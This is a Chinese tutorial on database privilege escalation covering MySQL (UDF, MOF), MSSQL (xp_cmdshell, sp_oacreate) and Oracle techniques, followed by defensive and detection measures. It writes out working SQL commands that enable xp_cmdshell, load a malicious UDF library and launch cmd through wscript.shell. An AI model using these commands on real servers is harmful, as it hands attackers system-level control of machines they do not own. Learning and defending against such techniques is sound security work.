提权---数据库提权
字数 1190 2025-08-09 22:00:40
数据库提权技术详解
一、提权概述
提权(Privilege Escalation)是指在入侵过程中,通过各种方法和漏洞提高攻击者在服务器中的权限级别,从而实现对系统的完全控制。数据库提权是其中一种重要的提权方式,主要针对数据库服务进行权限提升。
二、数据库提权分类
1. MySQL提权
(1) UDF提权
- 原理:利用MySQL自定义函数(UDF)功能执行系统命令
- 条件:
- 拥有MySQL写权限(FILE权限)
- 知道MySQL root密码或具有足够权限的账户
- secure_file_priv参数允许导出文件
- 步骤:
- 上传恶意UDF动态链接库文件(如lib_mysqludf_sys.dll)
- 创建自定义函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll' - 执行系统命令:
SELECT sys_eval('whoami')
(2) MOF提权
- 原理:利用Windows Management Instrumentation (WMI)的MOF文件执行命令
- 步骤:
- 上传恶意MOF文件到
C:/Windows/System32/wbem/mof/ - MOF文件会自动执行,添加管理员账户
- 上传恶意MOF文件到
(3) 启动项提权
- 将恶意脚本写入启动目录,等待系统重启后执行
2. MSSQL提权
(1) xp_cmdshell提权
- 启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; - 执行命令:
EXEC master..xp_cmdshell 'whoami'
(2) sp_oacreate提权
- 启用OLE自动化:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; - 执行命令:
DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell OUTPUT EXEC sp_oamethod @shell,'run',null,'cmd /c whoami > c:\temp.txt'
(3) 沙盒提权
- 利用Jet OLEDB沙盒模式执行命令
3. Oracle提权
(1) Java权限提权
- 利用Oracle中的Java执行权限执行系统命令
(2) DBMS_EXPORT_EXTENSION提权
- 利用DBMS_EXPORT_EXTENSION包中的漏洞
三、防御措施
1. MySQL防御
- 限制FILE权限
- 设置secure_file_priv为NULL或特定目录
- 定期更新MySQL版本
- 使用最小权限原则
2. MSSQL防御
- 禁用xp_cmdshell
- 禁用OLE自动化过程
- 限制sa账户使用
- 启用SQL Server审计
3. Oracle防御
- 限制Java权限
- 及时安装补丁
- 限制DBA权限
四、检测与响应
- 日志监控:检查数据库日志中的可疑操作
- 文件监控:监控系统关键目录的文件变化
- 进程监控:检查异常进程执行
- 账户监控:检查新增的系统账户
五、总结
数据库提权是攻击者获取系统权限的重要手段,了解各种提权技术有助于更好地防御此类攻击。管理员应遵循最小权限原则,及时更新补丁,并实施严格的访问控制策略来降低提权风险。